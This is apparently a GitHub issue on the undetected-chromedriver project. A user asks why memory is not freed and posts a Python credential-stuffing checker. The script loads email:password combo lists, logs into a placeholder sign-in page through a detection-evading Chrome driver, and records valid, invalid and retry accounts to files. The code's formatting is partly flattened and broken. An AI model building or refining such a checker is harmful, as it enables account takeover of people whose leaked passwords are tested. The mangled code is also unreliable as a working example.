undetected-chromedriver
undetected-chromedriver copied to clipboard
idk what i am doing wrong but it's not freeing memory for me
HELP!!
import multiprocessing as mp import time import os import undetected_chromedriver.v2 as uc
from selenium.webdriver.common.by import By from selenium.common.exceptions import TimeoutException from selenium.webdriver.support.wait import WebDriverWait from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.chrome.options import Options
def clear(): os.system('cls')
def load_combos(): with open('combos.txt') as f: combos = f.read().splitlines()
return combos
def main(): for combo in combos: email, password = combo.split(':')
try:
d = uc.Chrome()
d.get('https://www.randomsite.com/sign-in')
WebDriverWait(d, 5).until(lambda x: x.find_element(
By.XPATH, '/html/body/div[2]/div[1]/div[2]/input')).send_keys(email)
time.sleep(2)
WebDriverWait(d, 5).until(lambda x: x.find_element(
By.XPATH, '//*[@id="cmg-app-content"]/div[1]/div/div/div//div[2]/input')).send_keys(password)
time.sleep(2)
d.find_element(
By.XPATH, '/html/body/div[2]/div').click()
time.sleep(5)
for _ in range(1):
if any(s in d.page_source for s in ['some string']):
print(f'{combo} is valid!')
log_combo(combo)
if any(s in d.page_source for s in ['some string']):
print(f'{combo} is invalid!')
log_bad(combo)
if any(s in d.page_source for s in ['some string']):
print(f'{combo} Needs Retry')
log_retry(combo)
break
d.close()
d.quit()
except Exception as e:
pass
d.quit()
clear()
time.sleep(1)
os._exit(0)
def log_combo(combo): with open('valid.txt', 'a') as f: f.write(f'{combo}\n')
def log_bad(combo): with open('invalid.txt', 'a') as f: f.write(f'{combo}\n')
def log_retry(combo): with open('retry.txt', 'a') as f: f.write(f'{combo}\n')
clear()
if name == 'main': p = mp.Process(target=main) # run worker in a subprocess p.start() # make the main process wait for the worker to end p.join() # all memory used by the subprocess will be freed to the OS clear() combos = load_combos() main()